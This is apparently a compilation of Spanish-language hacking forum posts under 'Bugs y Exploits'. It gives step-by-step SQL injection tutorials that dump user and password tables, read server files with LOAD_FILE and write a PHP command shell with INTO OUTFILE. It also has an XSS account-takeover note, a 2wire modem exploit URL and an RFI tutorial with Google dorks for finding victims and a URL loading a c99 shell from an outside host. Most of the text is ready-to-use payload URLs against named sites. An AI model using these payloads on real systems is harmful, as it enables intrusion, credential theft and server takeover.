_[*]Bugs y Exploits __

Código que automatiza Inyecciones SQL
Este código automatiza las inyecciones sql. Se trata de un código html con javascript facilmente adaptable para otras inyecciones. Yo lo diseñé y lo utilicé para reportar vulnerabilidades de este tipo.



Acceder al primer usuario cuyo LOGIN sea:


Taller Inyecciones SQL





Eres libre de distribuír ésta información siempre y cuando mantengas ésta cabecera.


Autor: Hacker_Zero
Fuente: http://foro.eduhack.es


Éste documento ha sido realizado con fines exclusivamente didácticos. Todos los ejemplos aquí posteados se realizaron en un servidor previamente preparado por el autor. Ni la web ni el autor se responsabilizan de otros usos que otros usuarios le puedan dar.




Empezamos

¿Que es una inyección SQL?

Pues muy fácil, una inyección SQL nos permite modificar el comportamiento de las consultas a la base de datos permitiendonos acceder a datos no públicos o modificar la base de datos a nuestro antojo.

Muchas veces se habla de que ésta és una técnica complicada, que es necesario aprender SQL. Ésto es falso, podemos inyectar código de una forma totalmente mecánica sin entender el porqué del fallo, lo que lo hace en una técnica peligrosa, aunque también hay técnicas de inyección SQL avanzadas.

Un poco de teoría

Aunque podríamos limitarnos aprender un proceso y utilizarlo mecanicamente sin entender nada, limitarnos a éso sería echar a perder una buena técnica, así que analizaremos el porque de los ataques de inyección SQL. Para ésta misión utilizaremos una base de datos de pruebas donde podremos practicar a nuestras anchas:


http://www.bullcariez.es



1- Averiguando si es vulnerable

Empezaremos por el Ejercicio nº 1. En éste caso, la variable id está mal depurada, aquí el código vulnerable:

$user = $_GET['id'>;
(...)
$sql = mysql_query("SELECT * FROM `users` WHERE id=".$user) or die (mysql_error());




¿Como lo sabemos si no podemos ver el codigo fuente? Pues usaremos valores verdaderos y falso para ver como responde. Si ejecutamos:

CÓDIGO
http://www.bullcariez.es/index1.php?id=1+and+1=1


La consulta se realizara como:

CÓDIGO
SELECT * FROM `users` WHERE id=1 and 1=1


Y si ejecutamos:

http://www.bullcariez.es/index1.php?id=1+and+1=0

La consulta será:

CÓDIGO
SELECT * FROM `users` WHERE id=1 and 1=0


Como 1 no es igual a 0, en éste último caso la consulta no se realizará, por lo que no aparecen los datos de la base de datos en los campos de la web. Vale sabemos que es vulnerable, y ahora qué?

Tenemos que tener claro nuestro propósito, obtener información de la base de datos, en éste caso el nombre de usuario y contraseña del administrador. Como la podemos obtener? Pues lo que haremos será realizar una consulta en la variable vulnerable para que nos muestre los datos que queremos.


2- Averiguar el número de Columnas

Lo primero que tenemos que hacer es averiguar el número de columnas que tiene la tabla para poder hacer nosotros consultas, para eso se utiliza order by:

http://www.bullcariez.es/index1.php?id=1+order+by+1

Como la tabla tiene más de 1 campo, se mostrará correctamente, seguimos:

http://www.bullcariez.es/index1.php?id=1+order+by+2

Y así hasta llegar a 7, que se producirá un error:

http://www.bullcariez.es/index1.php?id=1+order+by+7

Pues ya lo tenemos, tiene 6 campos, que fué él valor más alto que se mostró correctamente.


3- Haciendo nuestra consulta

Ahora que ya tenemos el número de columnas, 6, podemos hacer nuestra consulta:

http://www.bullcariez.es/index1.php?id=-1+union+select+1,2,3,4,5,6

Union: Se usa para combinar los resultados de varias sentencias SELECT.

Select: Nos permite consultar los datos almacenados en una tabla de la base de datos.

Luego ponemos las 6 columnas numerados del 1 al 6, lo que nos permitirá ver que campos se imprimen, los cuales nos permitirán a nosotros imprimir resultados. Vemos que los campos que se imprimen son 1,4,5,6. Que podemos hacer con ellos? Pues imprimir información, un ejemplo:

http://www.bullcariez.es/index1.php?id=-1+union+select+version(),2,3,database(),user(),connection_id()

version(): Devuelve la versión del servidor SQL.
database(): Devuelve el nombre de la base de datos.
user(): Devuelve el nombre de usuario conectado a la base de datos.
connection_id(): Devuelve el ID de una conexión. Cada conexión tiene su propio y único ID.

El 2 y el 3 no nos valen para imprimir resultados ya que no se muestran en pantalla.


4- Buscando nuestra tabla

Ahora que ya podemos imprimir lo que queramos en esos campos, buscaremos la tabla que contiene el usuario y contraseña de los usuarios. Para recorrer las tablas de una base de datos se utilizaremos lo siguiente:

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+1,1

Al ejecutar eso, nos mostrará el nombre de una tabla, pero no es la que queremos. Para recorrer las tablas en busca de la tabla que nos interesa, aumentaremos progresivamente el limit. Por ejemplo para ver la siguiente tabla:

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+2,1

y la siguiente:

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+3,1

Así continuamos hasta encontrar una que pueda contener lo que nosotros queremos, el usuario y contraseña del administrador. Traceamos hasta llegar al 17:

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+17,1

Users, ésa parece ser la tabla donde se guarda esos datos ( podría haberse llamado también admin, access, o cualquier nombre sospechoso).


5- Buscando nuestras columnas

Ahora que ya tenemos la tabla, sólo nos queda saber que datos imprimir. Nosotros queremos el nombre de usuario y la contraseña, pero tenemos que saber como se llaman esas columnas para poderlas imprimir. Tracear columnas es similar a tracear tablas, se usa lo siguiente:


http://www.bullcariez.es/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+information_schema.columns+
where+table_name=char(NombreDeLaTablaEnAscii)+and+column_name+like+char(37,64,37)

En NombreDeLaTablaEnAscii irá el nombre de la tabla en código ascii separado por comas, aquí podemos ver las conversiones, luego subo un programa para hacer ésto de una forma más cómoda.

La inyección quedaría así:


http://www.bullcariez.es/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+
information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,64,37)


Oh, pero no se muestra nada! Tranquilo, ahora tenemos que ir traceando. Vamos aumentando el valor de 64 porgresivamente e iremos viendo diferentes nombres de columnas. Probemos con 65:


http://www.bullcariez.es/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+
information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,65,37)


Ah bien ya tenemos una de las columnas que buscabamos la que guarda el pass! Vale pues ahora a por la otra, la del usuario, seguimos traceando:

El 67 no nos muestra nada, el 68 nos muestra id que no nos interesa... 69 lo tenemos!


6- Imprimiendo los datos

Ya tenemos todo! Sabemos que tenemos que leer la columna Pass y la columna nombre de la tabla users, pues vamos a armar la inyección:

http://www.bullcariez.es/index1.php?id=-1+union+select+nombre,2,3,Pass,5,6+from+users

Bien ya está! Tenemos el nombre de usuario y contraseña del administrador! Bueno, pues aprovechamos que tenemos todo y sacamos la de otro user:

http://www.bullcariez.es/index1.php?id=-1+union+select+nombre,2,3,Pass,5,6+from+users+where+id=2

Ahí mandamos imprimir el nomre y pass de la tabla users donde el id es 2, el id del Admin suele ser 1, como es el primero se puede omitir y lo imprime igual.

Como sería para los demás users? Pues igual, solo cambiando el id.

Pues ésto fue todo por hoy, lo dejamos aquí de momento, aunque pronto actualizaré el post para poner más información de algunos comandos que hoy pasé así muy rápido.

Y aprovechad http://www.bullcariez.es para hacer pruebas, intentad sacar los users y pass vosotros solos, o provado cosas para ir cogiendo soltura.




ACTUALIZACIÓN

Bueno, pues el otro día Krackwar me presentó una función que desconocía ( De ese 99% que desconozco, xD): group_concat()

¿Para que sirve ésta función?

Bueno, algunos habréis tenido problemas o os lió algo lo de buscar tablas y columnas con el método anterior, o simplemente os parecía muy largo el proceso, bueno, y si pudieramos imprimir todas las tablas y columnas con una única sentencia? Ahí entra group_concat(), concadena miembros de un grupo como puede ser el nombre de las tablas y el nombre de las columnas, mejor con un ejemplo no? xD:

Para las tablas:

http://www.bullcariez.es/index1.php?id=-1+union+select+group_concat(table_name),
2,3,4,5,6+from+information_schema.tables


Y para las columnas:

http://www.bullcariez.es/index1.php?id=-1+union+select+group_concat(column_name),
2,3,4,5,6+from+information_schema.columns+where+table_name=char(117,115,101,114,115)





Ejercicio nº 2

Bueno pues para continuar el taller explicando otro tipo de inyección, me ayudaré del ejercicio 2 del servidor de pruebas de http://www.bullcariez.es . En éste ejercicio lo más interesante es entender la inyección.

-El código vulnerable

[code=sql>SELECT nombre FROM users Where nombre='$login' and Pass='$pass'[/code>

Nos deja pasar si al comprobar en la tabla users el nombre se corresponde con la contraseña. Nuestro objetivo es tener acceso sin saber el pass, podríamos modificar de alguna forma esa sentencia para que nos dejara pasar? Pues si.

-Nuestra inyección

Si en el campo login introducimos ADMIN y en password escribimos por ejemplo: Zero' OR '1'='1 la sentencia quedaría:

[code=sql>SELECT nombre FROM users Where nombre='ADMIN' and Pass='Zero' OR '1'='1'[/code>

Nos deja pasar si al comprobar en la tabla users al nombre ADMIN le corresponde la contraseña Zero o si 1 es igual a 1

Como 1 es igual a 1, nos dejará pasar ;D. Hay muchas más posibilidades, lo único que hay que hacer es modificar la sentencia para que de true y nos deje pasar.




Owned XSS [En Sonico]

Owned XSS [En Sonico]

Es una nueva vulnerabildaid que permite ownear cualquier cuenta en sonico.
nesecitamos
ser usuario Sonico.
Un adon llamado web developer

Cumpliendo estos 2 requisitos vamos a hacer esto:
Estando ya en la cuenta de la victima de damos al web developer le damos en
Display form details
y nos saldra algo como esto: son varios campos ocultos para poner videos.

http://img185.imageshack.us/img185/2102/ownedir9.jpg

Los campos que se ven son vulnerables a xss

Se da en publikar y listo.





Vulnerabilidad en Modems 2wire

Vulnerabilidad en Modems 2wire

Falla:

http://gateway.2wire.net/xslt?PAGE=CD35_SETUP_01_POST&password1=hkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkh
kmhkmhkmhkmhkmhkmhkmhkm&password2=hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkm
hkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmh
kmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhk
mhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkmhkhkmhkmhkmhkmhkmhkmhkmhkm

Video demostración
http://img51.yfrog.com/img51/1531/fdzwasjpg.gif

Fuente

Videotutorial de subida de shells

Videotutorial de subida de shells en el que se expllica como bypassear un upload de un panel de administración y subir una shell.

http://img51.yfrog.com/img51/1531/fdzwasjpg.gif


[Tutorial] RFI

Tutorial Remote File Inclusion

1.) Presentación

2.) Que es RFI

3.) Dorks RFI

4.) Testeando la vulnerabilidad

5.) Sacando una conclusión a todo

6.) Como cuidar nuestra Web de este tipo de ataques

7.) Despedida


1.) Presentación

Primero que nada este tutorial va dedicado a mis amigos de BugDox y a todo los Lectores especialmente a los que no les caigo bien, muchos me harán criticas Y eso es Bueno porque Uds. Me corrigen como muchos saben yo me retire del DEFACING no Es que yo sea conocido ni nada por el estilo este tutorial lo he hecho de manera especial
Para dar la diferencia de otros tutoriales que he visto en la red…

¿Por qué diferente?

Porque la mayoría de los tutoriales visto en la red son poco explicados para iniciados

¿A que se debe este tutorial?

Bueno este tutorial no puedo decir que lo hago con el fin de bien lo hago para bien y Para mal lo hago con concepto de cómo explotarlo y concepto de cómo arreglarlo
No es mi culpa que un Web Master no me haga caso ¿Verdad?

Los saludos más especiales para mis compañeros:

Zero Bits
KuTer
Jeferx
Darki113r
_84kur10_
Z1z30f
Kozmic.Kizz

2.) Que es RFI

RFI tiene como nombre Remote File Inclusión en español inclusión remota de archivo
Como ya saben que dice en la wikipedia esta vulnerabilidad se encuentra en páginas
Dinámicas ósea echas en PHP no en todo tipo de Web como saben siempre es depende
Del buen programador esta vulnerabilidad se encuentra en include() casi siempre
Buscamos en los códigos de fuentes por eso es bueno estar pendiente de nuestra Programación cuando tenemos un sitio Web, Un atacante puede inyectar su código
En un programa PHP en su servidor, Cuando acceden al servidor pueden acceder a Cualquier que tiene el programa PHP por ejemplo:

Base de datos
Archivos de contraseña
Y otras cosas

Pueden instalar sus propios servidores que lo ejecutan con los privilegios de la victima
Del servidor Web como {apache o httpd} Y si el servidor no lo han modificado en algunos locales de la vulnerabilidad de escalada de privilegios el atacante que monto
La shell puede ser usada para convertirse en root…

3.) Dorks RFI

Con un dork podemos conseguir las vulnerabilidades al azar con solo visitar
Www.Google.com y poner lo siguiente:


/index.inc.php?PATH_Includes=

/ashnews.php?pathtoashnews=

Uno de estos dos les servirá si no visiten Aqui


4.) Testeando la vulnerabilidad

Bueno ya hemos encontrado una Web ahora vamos a testearla haber si es vulnerable
Primero que nada muchas veces esto se encuentra con solo revisar en los códigos de Fuente siempre se encuentra lo siguiente:


Código: [Seleccionar]

Recordemos que esta vulnerabilidad se presenta cuando se intenta meter una página
Remota adentro de la otra y se utilizan lo códigos que di como ejemplo cuando se Encuentra la Vulnerabilidad.include() lo que hace es incluir una pagina remota por ejemplo $Bugdox

Se puede utilizar una url bajo argumento y eso es lo que hace explotar RFI por ejemplo:
Código: [Seleccionar]
http://vulnerable.com/badcode?ejemplo=
tenemos ?ejemplo.php cuando el atacante introduce su codigo malicioso.
Citar

http://vulnerable.com/badcode?ejemplo=http://Www.xD.com/c99.jpg

Www.xD.com es la Web donde subí mi SHELL con el nombre c99.jpg


Al ejecutar esto en la Web de la victima ¿Qué pasa? No recoge ejemplo.php
Si no que el sistema agarra la url maligna que es la que le da una CONEXIÓN REMOTA que es cuando introducimos nuestra shell ¿Me entienden?.Un atacante
Puede saber controlar las variables de PHP se hace mediante:

Código: [Seleccionar]
mis-PHP register_globals función.
Cuando register_globals esta habilitado en PHP el lenguaje automagicamente
Hace una instancia con los valores de las variables de la petición en http, y los pone
En el espacio de nombres del programa PHP.

Cuando se activa se le permite a un atacante inyectar un valor para cualquier variable Sin inicializar en cualquier programa solo el atacante añade un parámetro GET al final De la url es decir después de “=”

Ejemplo hemos entrado en Www.xD.com hemos mirado el código de fuente
Hemos observado que tiene include() hacemos la prueba:
Código: [Seleccionar]
http://vulnerable.com/badcode?ejemplo=http://Www.google.com
Resulta que al darle clic nos redirección a GOOGLE de una vez ya sabemos que la Web Es vulnerable a RFI.

Luego que encontramos nuestra Web vulnerable buscamos nuestra SHELL
Ya sea c99 o r57 y hay otras mas.

Buscamos un hosting gratuito que soporte PHP y guardamos nuestra shell en un
Jpg.php o con gif.php no importa el formato porque tampoco que vamos a poner
Cualquier formato a veces muchas Web no permiten extracciones como gif y otras…

5.) Sacando una conclusión a todo

Como pueden ver la lógica rfi no es muy difícil es un ataque muy básico
Trata de que www.xD.com es la Web vulnerable bugdox.php esta es la que
Incluirá el redireccionamiento ?ejemplo= Esta es la que le permite a un atacante
Introducir códigos maliciosos por ejemplo la SHELL y www.xD.com/c99_jpg
Este sitio es el que almacena la shell...

6.) Como cuidar nuestra Web de este tipo de ataques

Para evitar este tipo de ataques en nuestros sitios podemos ir al FTP y buscar
La configuración index.php lo editamos y agregamos lo siguiente:

Antes de continuar este CODIGO de seguridad no es hecho por mi lo pueden ver
Aquí…

Codigo:

if (file_exists($_GET['id'].".php")) {
include ($_GET['id'].".php");
} else {
echo "El acceso a este lugar lo tiene denegado o no existe";
}

Ejemplo de codigo:

echo "El acceso a este lugar lo tiene denegado o no existe";

Este if funciona de la manera que si al colocar:

http://vulnerable.com/badcode?ejemplo=http://Www.google.com

No te redireccionara si no que te dirá El acceso a este lugar lo tiene desnegado o no Existe pero si por ejemplo agregamos:

http://vulnerable.com/badcode?ejemplo=BugDox

Y si existe pasara normalmente sin dar el error para que no de el Error este archivo debe existir.

7.) Despedidajavascript:void(0)

Otro tutorial mas que hago no es la gran cosa a lo mejor tengo errores por hay
Si los tengo me gustarian las {Criticas} Son muy importante para correjir a los
Demas...

No pongo mi sitio Web porque siempre los Web Master andan con el trauma de que
Hacemos Spam como si con eso piensan que acabaran el Spam sueñen un rato.



Inyeccion Sql desde 0

Inyecciones SQL desde 0


Indice:

1:Que es una inyección SQL
2:Como sacar el numero de columnas
3:Como sacar tablas y columnas en information schema
4:Como sacar tablas y columnas por fuerza bruta
5:Como sacar columnas de mysql.user
6:Como sacar usuarios y password
7:Sacar informacion de la base de datos
8:Como explotar LOAD_FILE
9:Como hacer vulnerable a RFI mediante una inyeccion SQL
10:Evitar estos ataques

0x01:Que es una inyeccion SQL

Una inyeccion SQL es tecnica para sacar informacion de una base de datos para poder
ver datos que no son publicos y modificar a nuestro antojo.
La mayoria de las personas que les gusta hackear siempre usan las inyecciones SQL ya
preparadas para sacar user y pass del admin sin siquiera conocer como funciona.Esto
es algo muy negativo ya que cualquier idiota sin experiencia puedo sacar user y pass con
un plis.
Para usar este manual necesitas tener instalado AppServer o Easy PHP


http://www.appservnetwork.com/index.php?newlang=spanish

Los archivos para la web deben ir en C:\Appserv\www

Entonces a programar se ha dicho.


Antes que tienes que crear la base de datos , primero van a

Inicio - Todos los programas - Appserv - MySQL Command Line Client

Ejecutamos el MySQL Command Line Client y escribimos la contraseña.

Ejecuta los siguientes comandos.

Código: [Seleccionar]
Language: SQL
CREATE
TABLE
`users` (
`id` int(10) UNSIGNED
NOT
NULL
AUTO_INCREMENT,
`name` varchar(25) NOT
NULL,
`password` varchar(50) NOT
NULL,
`country` varchar(20) NOT
NULL,
PRIMARY
KEY
(`id`)




INSERT
INTO
`users` VALUES
(1, 'Guason', '123', 'Argentina');
INSERT
INTO
`users` VALUES
(2, 'Pero', '11', 'Infierno');
INSERT
INTO
`users` VALUES
(3, 'Trinity', '12354', 'Via Lactea');
INSERT
INTO
`users` VALUES
(4, 'Galaxia', 'gaylord', 'Cabaret');



Aca les dejo para el index

Código: [Seleccionar]
Language: PHP












Laboratorio Guasonero
By Guasón

";
echo "user_id: ".$users[0]."
";
echo "username: ".$users[1]."
";
echo "password: ".$users[3]."
";


mysql_close($db);


?>



¿Como se si es vulnerable?


Para saber si es vulnerable basta con hacer

http://127.0.0.1/index.php?id=1+and+1=0

Si no se muestra nada , la pagina no seria vulnerable.



0x02:Como sacar el numero de columnas


Para sacar el numero de columnas seria muy facil pues puede ser con dos tecnicas que son


**ORDER BY******

Para poder sacar el numero de columnas mediante Order By seria

http://127.0.0.1/index.php?id=1+order+by+1

Si se muesta todo correcto es que ese numero que esta al final de la url "1" no es numero de
columnas y tenemos que seguir subiendo

http://127.0.0.1/index.php?id=1+order+by+2
http://127.0.0.1/index.php?id=1+order+by+3
http://127.0.0.1/index.php?id=1+order+by+4
http://127.0.0.1/index.php?id=1+order+by+5 (ERROR)

Pues si en el numero 5 nos dice error , esta queriendo decir que ya no hay mas columnas , pues
deduciendo tenemos que el sitio tiene 4 columnas



***Sumando con union select*******


Esta es la mejor y mas bien confiable tecnica para sacar el numero de columnas. Yo en esta
tecnica lo que hago es poner una palabra en hexadecimal y no numero. Ejemplo

0x677561736f6e = guason

http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e

Pues no nos dice nada interesante la inyeccion pero si seguimos poniendole mas.....

http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e
http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e
http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e ( NOS TIRA guason)


Pues si instalaste la base de datos como la mia. Veras que al intentar 4 veces mi nombre en
hexadecimal nos tira 3 veces guason. Pues es obvio que la base de datos tiene 4 columnas.
Esta tecnica es muy bueno para hacer tools un ejemplo es mi programa Hunter-MYSQL aunque
yo lo considero obsoleto.


0x03:Como sacar tablas y columnas con information schema

Hay dos formas de sacar tablas y columnas con information schema una es a lo boludo y otra a lo
vivo. Pero en realidad serian con sus verdaderos nombres LIMIT y group_concat
Para los dos casos necesitamos el numero de columnas antes

***Usando LIMIT*****

Para recorrer las tablas usare como ejemplo a bullcariez pues mi version de mysql no es la 5:

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+1,1

Con esta tecnica veran una tabla pero no todas por lo que tiene que seguir aumentando el numero
hasta que vean alguna interesante como user o pass.

http://www.bullcariez.es/index1.php?id=-1+union+select+table_name,2,3,4,5,6+from+information_schema.tables+limit+17,1

Cuando lleguen al numero 17 veran la tabla amada llamada Users

Ahora hay que sacar las columnas con limit. Seria asi.

117,115,101,114,115 = Users en ascii

http://www.bullcariez.es/index1.php?id=-1+union+select+column_name,2,3,4,5,6+from+information_schema.columns+where+table_name=char(117,115,101,114,115)+and+column_name+like+char(37,65,37)

Como veran se muestra el nombre de una columna llamada Pass y si intentamos con 69 nos muestra la columna llamada nombre.Realmente una mierda esta tecnica pero bueno.

Aca les dejo una tool para convertir una palabra a ascii en este caso tablas
Código: [Seleccionar]
Language: Perl
#Name program = Ascii-DE
#Version = beta
#Autor = El Gran Guasón


my $palabra = $ARGV[1];
my $opcion = $ARGV[2];


unless ($palabra || $opcion) {
print "\n\nModo de uso = $0 --ascii \n\n";
print " = Texto normal o codificacion ascii\n";
print " = encode , decode\n\n";
exit 1;
}


if ($opcion eq "encode") {
&ascii_encode($palabra);
&creditos;
}

if ($opcion eq "decode") {
&ascii_decode($palabra);
&creditos;
}


sub ascii_decode {

my $z = shift;

$z = join q[], map { chr } split q[,],$z;

print "\n\n[+] Texto codificado = $palabra\n";
print "[+] Texto normal = $z\n\n";

}


sub ascii_encode {

my $string = shift;

$re = join ',', unpack "U*", $string; # o A* para ASCII
print "\n\n[+] Texto normal = $palabra\n";
print "[+] Texto codificado = $re\n\n";

}

sub creditos {
print "\n\n\n\n\t\t\t******************************************\t\t\t";
print "\t\t\tWritten By El Gran Guason || 2010\t\t\t";
print "\t\t******************************************\t\t\t\n\n";
exit 1;
}





******Usando group_concat******************


Ok , ahora viene la mejor y mas corta seguiremos usando lamentablemente bullcariez


http://www.bullcariez.es/index1.php?id=-1+union+select+group_concat(table_name),2,3,4,5,6+from+information_schema.tables

Con esta tecnica presenciaremos todas las tablas aunque no todas.Pero la que vale es users

Ahora cuando vean la tabla users lo sacan de esta manera no antes que de haber
convertido en ascii la tabla.

http://www.bullcariez.es/index1.php?id=-1+union+select+group_concat(column_name),2,3,4,5,6+from+information_schema.columns+where+table_name=char(117,115,101,114,115)

Pues ahora veremos todas las columnas de esa tabla , pero las esenciales son nombre y Pass.




0x04:Como sacar tablas y columnas por fuerza bruta.

Pues esta tecnica es la peor y mas dura.Pues para eso hice a Hunter-MYSQL que intenta sacarlas
aunque a veces no hay remedio.

Ok , tomaremos como ejemplo a nuestro servidor web y no a la mierda de bullcariez.
Como siempre cabe aclarar que vamos a necesitar al numero de columnas. Ahora vamos
a los ejemplos.

Antes de probar esto hay que tener claro la segundo tecnica de sacar columnas del manual

http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e+from+LATABLA A PROBAR


http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e+from+usuarios

Pues el resultado de esta inyeccion es cualquier cosa pues si la tabla usuarios existiera nos mostraria guason en el resultado

http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e+from+users

Ok ,yes , nos ha mostrado 3 veces guason , pues eso solo nos esta diciendo que la tabla users EXISTE.

Ahora las columnas de la tabla users

Para sacar las columnas de la tabla users seria


http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,COLUMNA A PROBAR),2,3,4+from+users--


http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,sexualidad),2,3,4+from+users--

Como veran intente con la columna sexualidad pero como esta no existe no se mostrara un carajo.

Ahora probare con name , password y country


http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,name),2,3,4+from+users--


http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,password),2,3,4+from+users--

http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,country),2,3,4+from+users--

Pues todas inyecciones nos tira guason
guason
guason

Pues esa son las columnas que tiene la tabla users.



0x05:Sacar columnas de mysql.user

Pues para comprobar si nuestro servidor web tiene mysql.user seria:



http://127.0.0.1/index.php?id=-1+union+select+0x677561736f6e,0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user

Ok , a mi , me devuelve tres veces guason , no se a ustedes pero bueno.
Para sacar las columnas de mysql.user seria:


http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,COLUMNA A PROBAR),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user

http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,tonton),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user

Pues no nos devuelve ese idiota de guason , entonces no tiene ninguna columna llamada tonton

Entonces para probar con name password nos tira

http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,user),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user

http://127.0.0.1/index.php?id=-1+union+select+concat(0x677561736f6e,0x3a,password),0x677561736f6e,0x677561736f6e,0x677561736f6e+from+mysql.user

Nos tira : guason
guason


Entonces las columnas son user y password.




0x06:Como sacar usuarios y password

Ok , si ya conseguiste la tabla de usuarios con las columas interesantes lo que debes hacer es

http://127.0.0.1/index.php?id=-1+union+select+1,2,3,4

Debes elegir algunos de los numeros que salen en la pantalla de resultado.Pues si al final de usar
algunos de los estos numeros y mas adelante no te salio nada , debes intentar con otro numero que
te da la inyeccion en el resultado.

Pues yo eligo el 1. Entonces la inyeccion seria con estos datos

tabla = users
columnas a sacar = name y password


http://127.0.0.1/index.php?id=-1+union+select+concat(name,0x3a,password),2,3,4+from+users


Uso a 0x3a para separar el resultado del name y del password
0x3a = :

La inyeccion nos tira

Guason:123

Ay no! alguien tien mi contraseña xD

Lo mismo seria para mysql.user


http://127.0.0.1/index.php?id=-1+union+select+concat(user,0x3a,password),2,3,4+from+mysql.user


Y lo mismo para information_schema


http://127.0.0.1/index.php?id=-1+union+select+concat(name,0x3a,password),2,3,4+from+users

Pero este ultimo no me anda porque mi mysql es viejo y no tiene information_schema pero la inyeccion nos da el mismo resultado ya que las tablas y columnas si existen


0x07:Sacar informacion de la base de datos

Ok , para sacar informacion de la base de datos seria:

Lo que podemos sacar es
Código: [Seleccionar]
version() = Version de mysql
database() = Tipo base de datos
user() = usuario
connection_id() = Id de la conexion



Para tenemos que tenes el numero de columnas

http://127.0.0.1/index.php?id=-1+union+select+1,2,3,4

Pues eligen cualquier numero que les tire el resultado de la inyeccion

En mi caso agarro uno

http://127.0.0.1/index.php?id=-1+union+select+concat(user(),0x3a,database(),0x3a,version(),connection_id(),0x3a),2,3,4

Pues nos tira:
Código: [Seleccionar]
root@localhost:test:4.1.9-max3:


Todos los datos que pedimos primero el user , despues el nombre basedate , luego la version y despues el id de la conexion.



0x08:Como explotar LOAD_FILE


Con la funcion LOAD_FILE podemos leer los archivos que hay en el servidor Ejemplo por defecto
en mi base de datos voy a parar en mysql/data. Yo en este directorio yo tengo un archivo llamado boludo.txt.

Entonces teniendo a boludo.txt = 0x626f6c75646f2e747874
Podemos leer el archivo mediante el numero milagroso y la funcion load_file


http://127.0.0.1/index.php?id=-1+union+select+load_file(0x626f6c75646f2e747874),2,3,4

Entonces el resultado me daria " Hola enfermo! " porque en el archivo boludo.txt tengo solamente eso.

Y asi podran ir sacando cosas malevolas con esta tecnica.



0x09:Como hacer vulnerable a RFI mediante una inyeccion SQL

Pues ya teniendo el numero de columnas tambien podemos crear archivo mediante la funcion
into+outfile
Entonces como siempre agarramos el 1 xD.

Eh intentaremos crear un ejecutor de comandos con este codigo
Código: [Seleccionar]
Language: PHP



Cabe aclarar que el directorio que vamos a que guardar este ejecutor no debe ser restringido para
los visitantes.

http://127.0.0.1/index.php.php?id=-1+union+select+' ',2,3,4+into+outfile+'gilo.php'


Ok , si ven que el resultado es nulo y no sale ningun error es que se ah creado el archivo. Por
defecto a mi se me creo en mysql/data.
Solo es cuestion de ir cambiando de directorios hasta que alguno nos deje crear el archivo.

Pero por algo me hago llamar El Gran Guasón , porque no soy mas un newbie y no tengo nada
de noob.

Vamos a ejecutar de nuevo la sentencia pero ahora de esta forma.

http://127.0.0.1/index.php.php?id=-1+union+select+"",2,3,4+into+outfile+'../../www/cmd.php'--

